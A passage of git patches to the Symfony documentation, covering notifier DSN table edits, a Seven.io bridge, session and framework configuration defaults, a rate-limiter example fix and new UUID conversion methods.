 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -86,16 +85,16 @@ Service             Package                                DSN
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
+`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -103,6 +102,7 @@ Service             Package                                DSN
 `Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 ==================  =====================================  ========================================================================================================================= ===============
 
 .. tip::

From 3f638192d8b781335c0d4b1165277c72eb51cd27 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 21:57:15 +0100
Subject: [PATCH 4232/5766] -

---
 notifier.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 23d6c300216..c8aa863413d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,7 +72,6 @@ Service             Package                                DSN
 `GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
 `Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -86,16 +85,16 @@ Service             Package                                DSN
 `Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
+`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -103,6 +102,7 @@ Service             Package                                DSN
 `Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 ==================  =====================================  ========================================================================================================================= ===============
 
 .. tip::

From d289bcb3d8190d090057cbe2ee000ec4e36c7d0b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 22:14:04 +0100
Subject: [PATCH 4233/5766] [Notifier] Add Seven.io bridge

---
 notifier.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index c8aa863413d..434b783b747 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -87,6 +87,7 @@ Service             Package                                DSN
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+`Seven.io`_         ``symfony/sevenio-notifier``           ``sevenio://API_KEY@default?from=FROM``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -115,6 +116,11 @@ Service             Package                                DSN
 
     The `SmsSluzba`_ integration was introduced in Symfony 7.1.
 
+.. deprecated:: 7.1
+
+    The `Sms77`_ integration is deprecated since
+    Symfony 7.1, use the `Seven.io`_ integration instead.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1003,6 +1009,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
+.. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md

From 2f88c8c89cbbe27848d9e516f047af8c184c6509 Mon Sep 17 00:00:00 2001
From: fishbone1 <45480988+fishbone1@users.noreply.github.com>
Date: Tue, 5 Sep 2023 13:25:07 +0200
Subject: [PATCH 4234/5766] Update associations.rst

Added caution block that informs about the risks of generated convenience "add" and "remove" methods on the inverse side.
---
 doctrine/associations.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 1d5e55d5524..442143fa7ed 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -644,6 +644,15 @@ also generated a ``removeProduct()`` method::
 Thanks to this, if you call ``$category->removeProduct($product)``, the ``category_id``
 on that ``Product`` will be set to ``null`` in the database.
 
+.. warning::
+
+    Please be aware that the inverse side could be associated with a large amount of records.
+    I.e. there could be a large amount of products with the same category.
+    In this case ``$this->products->contains($product)`` could lead to unwanted database
+    requests and very high memory consumption with the risk of hard to debug "Out of memory" errors.
+
+    So make sure if you need an inverse side and check if the generated code could lead to such issues.
+
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
 that behavior, use the `orphanRemoval`_ option inside ``Category``:

From 420bf581e50dd273feebaf2fdbed523e744f387f Mon Sep 17 00:00:00 2001
From: Priyadi Iman Nurcahyo <priyadi@priyadi.net>
Date: Wed, 27 Dec 2023 20:21:30 +0700
Subject: [PATCH 4235/5766] Document `#[WithHttpStatus]` and `#[WithLogLevel]`
 on interfaces.

---
 reference/configuration/framework.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 894cf7a82c5..2e82f352af0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3806,6 +3806,26 @@ the ``#[WithLogLevel]`` attribute::
     {
     }
 
+The attributes can also be added to interfaces directly::
+
+    namespace App\Exception;
+
+    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
+
+    #[WithHttpStatus(422)]
+    interface CustomExceptionInterface
+    {
+    }
+
+    class CustomException extends \Exception implements CustomExceptionInterface
+    {
+    }
+
+.. versionadded:: 7.1
+
+    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
+    on interfaces, was introduced in Symfony 7.1.
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler

From 72cf82a2d5ff77ba27e81235cc4a6ab1cf58961c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Dec 2023 08:32:16 +0100
Subject: [PATCH 4236/5766] [Frontend] Remove other occurrences of "yarn"

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 0ac04f18e14..803d7dbace6 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1079,7 +1079,7 @@ This will force the AssetMapper component to re-calculate the content of all fil
 Run Security Audits on Your Dependencies
 ----------------------------------------
 
-Similar to ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+Similar to ``npm``, the AssetMapper component comes bundled with a
 command that checks security vulnerabilities in the dependencies of your application:
 
 .. code-block:: terminal

From 6a36a2217e22215deba87ff0a8c405e060516cb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Dec 2023 08:46:14 +0100
Subject: [PATCH 4237/5766] [Validator] Mention support of Stringable objects
 in Charset constraint

---
 reference/constraints/Charset.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 5dfa7037c6b..66bdb4c99c4 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -5,7 +5,8 @@ Charset
 
     The ``Charset`` constraint was introduced in Symfony 7.1.
 
-Validates that a string is encoded in a given charset.
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+is encoded in a given charset.
 
 ==========  =====================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 4bdcc5bb66e0ce5a8fd7b4378b12dcbd8aadbb72 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Fri, 29 Dec 2023 15:46:21 +0100
Subject: [PATCH 4238/5766] [Serializer] Better example for date
 denormalization

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 54a7e28b4cd..35894018cb5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -243,7 +243,7 @@ Use the options to specify context specific to normalization or denormalization:
     {
         #[Context(
             normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
         )]
         public $createdAt;
 

From cf4d72446c92c2049a16b6a147abe856f627003d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 30 Dec 2023 09:21:13 +0100
Subject: [PATCH 4239/5766] update the default message of the Charset
 constraint

---
 reference/constraints/Charset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 66bdb4c99c4..278ea570831 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -96,7 +96,7 @@ encodings. This option accepts any value that can be passed to
 ``message``
 ~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The detected encoding "{{ detected }}" does not match one of the accepted encoding: "{{ encodings }}".``
+**type**: ``string`` **default**: ``The detected character encoding is invalid ({{ detected }}). Allowed encodings are {{ encodings }}.``
 
 This is the message that will be shown if the value does not match any of the
 accepted encodings.

From 09675098c807f8fbbf8be96565d1d2e2e474dcfc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 30 Dec 2023 22:50:58 +0100
Subject: [PATCH 4240/5766] Update framework config

---
 reference/configuration/framework.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 894cf7a82c5..50bfc03530b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,13 +53,11 @@ out all the application users.
 handle_all_throwables
 ~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
-If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
 thrown by the application and will turn them into HTTP responses.
 
-Starting from Symfony 7.0, the default value of this option will be ``true``.
-
 .. _configuration-framework-http_cache:
 
 http_cache
@@ -1575,11 +1573,13 @@ To see a list of all available storages, run:
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``session.handler.native_file``
+**type**: ``string`` | ``null`` **default**: ``null``
+
+By default at ``null`` if ``framework.session.save_path`` is not set.
+The session handler configured by php.ini is used, unless option
+``framework.session.save_path`` is used, in which case the default is to store sessions
+using the native file session handler.
 
-The service id or DSN used for session storage. The default value ``'session.handler.native_file'``
-will let Symfony manage the sessions itself using files to store the session metadata.
-Set it to ``null`` to use the native PHP session mechanism.
 It is possible to :ref:`store sessions in a database <session-database>`,
 and also to configure the session handler with a DSN:
 
@@ -1844,7 +1844,7 @@ If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be re
 save_path
 .........
 
-**type**: ``string`` or ``null`` **default**: ``%kernel.cache_dir%/sessions``
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
 
 This determines the argument to be passed to the save handler. If you choose
 the default file handler, this is the path where the session files are created.
@@ -2940,7 +2940,7 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int`` **default**: ``%kernel.debug%``
+**type**: ``boolean`` | ``int`` **default**: ``true``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer

From 5ddff44d74c296dc08a65ac28241a681b3b3b8f4 Mon Sep 17 00:00:00 2001
From: Matheus Pedroso <matheus@mathop.com>
Date: Fri, 29 Dec 2023 18:03:34 -0600
Subject: [PATCH 4241/5766] Fix JetBrains Toolbox deeplink example

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 127b42b23f2..bbbbe41c419 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -312,7 +312,7 @@ Another alternative is to set the ``xdebug.file_link_format`` option in your
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
 
     // example for PhpStorm with Jetbrains Toolbox
-    xdebug.file_link_format="jetbrains://php-storm/navigate/reference?project=example&file=%f:%l"
+    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
 
     // example for Sublime Text
     xdebug.file_link_format="subl://open?url=file://%f&line=%l"

From d271d42221180b45bbf01dfadc5293ac17638033 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 1 Jan 2024 12:57:07 +0100
Subject: [PATCH 4242/5766] fix typo

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ee22e85f7e8..c8686c3d7bb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3824,7 +3824,7 @@ The attributes can also be added to interfaces directly::
 .. versionadded:: 7.1
 
     Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
-    on interfaces, was introduced in Symfony 7.1.
+    on interfaces was introduced in Symfony 7.1.
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning

From d24579d8b044590434f9cae5a033f349b81387b1 Mon Sep 17 00:00:00 2001
From: srich387 <64944171+srich387@users.noreply.github.com>
Date: Mon, 1 Jan 2024 11:29:00 +1100
Subject: [PATCH 4243/5766] Fix heading capitalisation in
 dynamic_form_modification.rst

---
 form/dynamic_form_modification.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 8ad446915c4..48dc03f0797 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -9,7 +9,7 @@ how to customize your form based on three common use-cases:
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
+2) :ref:`How to Dynamically Generate Forms Based on User Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
@@ -188,7 +188,7 @@ Great! Now use that in your form class::
 
 .. _form-events-user-data:
 
-How to dynamically Generate Forms Based on user Data
+How to Dynamically Generate Forms Based on User Data
 ----------------------------------------------------
 
 Sometimes you want a form to be generated dynamically based not only on data

From 40227c98683c13dc68caceadb78328bbbccc9c35 Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Thu, 28 Dec 2023 21:43:45 +0100
Subject: [PATCH 4244/5766] [Security] Fixing PHP example for limiting login
 attempts with rate limiter

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index aaf2f600a21..80fbbb1c2f1 100644
--- a/security.rst
+++ b/security.rst
@@ -1653,7 +1653,7 @@ and set the ``limiter`` option to its service ID:
                     <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
                     <!-- 3rd argument is the app secret -->
-                    <srv:argument type="service" id="%kernel.secret%"/>
+                    <srv:argument type="string">%kernel.secret%</srv:argument>
                 </srv:service>
             </srv:services>
 
@@ -1697,7 +1697,7 @@ and set the ``limiter`` option to its service ID:
                     // 2nd argument is the limiter for username+IP
                     new Reference('limiter.username_ip_login'),
                     // 3rd argument is the app secret
-                    new Reference('kernel.secret'),
+                    param('kernel.secret'),
                 ]);
 
             $security->firewall('main')

From eff82f61afaf3e3a5d798eadc9084778401f5bd2 Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Tue, 12 Dec 2023 15:35:39 +0100
Subject: [PATCH 4245/5766] Update Docker page with instructions for Mac users

---
 setup/docker.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/setup/docker.rst b/setup/docker.rst
index 605afa64c19..5a8e2daad6f 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -51,4 +51,9 @@ If you're using the :ref:`symfony binary web server <symfony-local-web-server>`
 then it can automatically detect your Docker services and expose them as environment
 variables. See :ref:`symfony-server-docker`.
 
+.. note::
+
+    Mac users need to explicitly allow the default Docker socket to be used for the Docker integration to work as explained in the `Docker documentation`_.
+
 .. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
+.. _`Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/

From 024f3d8e3c4a5cd3d25ee87d0c3285d629b2fe5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 09:22:19 +0100
Subject: [PATCH 4246/5766] Minor tweak

---
 setup/docker.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index 5a8e2daad6f..63da416e7bf 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -53,7 +53,8 @@ variables. See :ref:`symfony-server-docker`.
 
 .. note::
 
-    Mac users need to explicitly allow the default Docker socket to be used for the Docker integration to work as explained in the `Docker documentation`_.
+    macOS users need to explicitly allow the default Docker socket to be used
+    for the Docker integration to work `as explained in the Docker documentation`_.
 
 .. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
-.. _`Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/
+.. _`as explained in the Docker documentation`: https://docs.docker.com/desktop/mac/permission-requirements/

From 80fa0a34618d2480e6b3acce32977ea4ff143e89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jan 2024 09:27:16 +0100
Subject: [PATCH 4247/5766] Minor reword

---
 reference/configuration/framework.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a0650093bb5..f5f5f8df3f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1575,10 +1575,10 @@ handler_id
 
 **type**: ``string`` | ``null`` **default**: ``null``
 
-By default at ``null`` if ``framework.session.save_path`` is not set.
-The session handler configured by php.ini is used, unless option
-``framework.session.save_path`` is used, in which case the default is to store sessions
-using the native file session handler.
+If ``framework.session.save_path`` is not set, the default value of this option
+is ``null``, which means to use the session handler configured in php.ini. If the
+``framework.session.save_path`` option is set, then Symfony stores sessions using
+the native file session handler.
 
 It is possible to :ref:`store sessions in a database <session-database>`,
 and also to configure the session handler with a DSN:

From 955908755bc9fb44ab31f214cf3f982eeaa8fb6d Mon Sep 17 00:00:00 2001
From: r-ant-2468 <56399976+r-ant-2468@users.noreply.github.com>
Date: Mon, 19 Dec 2022 15:15:33 +0100
Subject: [PATCH 4248/5766] Update locale with new authentication system

For the new authentication system, the LoginSuccessEvent event that is fired after logging in. This is to be updated in the new documentation
---
 session.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index eee81b4f833..7ed27fe45e7 100644
--- a/session.rst
+++ b/session.rst
@@ -1469,7 +1469,7 @@ this as the locale for the given user. To accomplish this, you can hook into
 the login process and update the user's session with this locale value before
 they are redirected to their first page.
 
-To do this, you need an event subscriber on the ``security.interactive_login``
+To do this, you need an event subscriber on the ``LoginSuccessEvent::class``
 event::
 
     // src/EventSubscriber/UserLocaleSubscriber.php
@@ -1477,8 +1477,7 @@ event::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
-    use Symfony\Component\Security\Http\SecurityEvents;
+    use Symfony\Component\Security\Http\Event\LoginSuccessEvent;
 
     /**
      * Stores the locale of the user in the session after the
@@ -1491,9 +1490,9 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event): void
+        public function onLoginSuccess(LoginSuccessEvent $event): void
         {
-            $user = $event->getAuthenticationToken()->getUser();
+            $user = $event->getUser();
 
             if (null !== $user->getLocale()) {
                 $this->requestStack->getSession()->set('_locale', $user->getLocale());
@@ -1503,7 +1502,7 @@ event::
         public static function getSubscribedEvents(): array
         {
             return [
-                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
+                LoginSuccessEvent::class => 'onLoginSuccess',
             ];
         }
     }

From 6b319a22eab53a36e291ef9096537abd617a7d28 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 2 Jan 2024 09:20:17 +0100
Subject: [PATCH 4249/5766] [Uid] Add `UuidV1::toV6()`, `UuidV1::toV7()` and
 `UuidV6::toV7()`

---
 components/uid.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 26fd32989a9..96dda1e149d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -180,6 +180,26 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
+Some UUID versions support being converted from one version to another::
+
+    // convert V1 to V6 or V7
+    $uuid = Uuid::v1();
+
+    $uuid->toV6(); // returns a Symfony\Component\Uid\UuidV6 instance
+    $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance
+
+    // convert V6 to V7
+    $uuid = Uuid::v6();
+
+    $uuid->toV7(); // returns a Symfony\Component\Uid\UuidV7 instance
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Uid\\UuidV1::toV6`,
+    :method:`Symfony\\Component\\Uid\\UuidV1::toV7` and
+    :method:`Symfony\\Component\\Uid\\UuidV6::toV7`
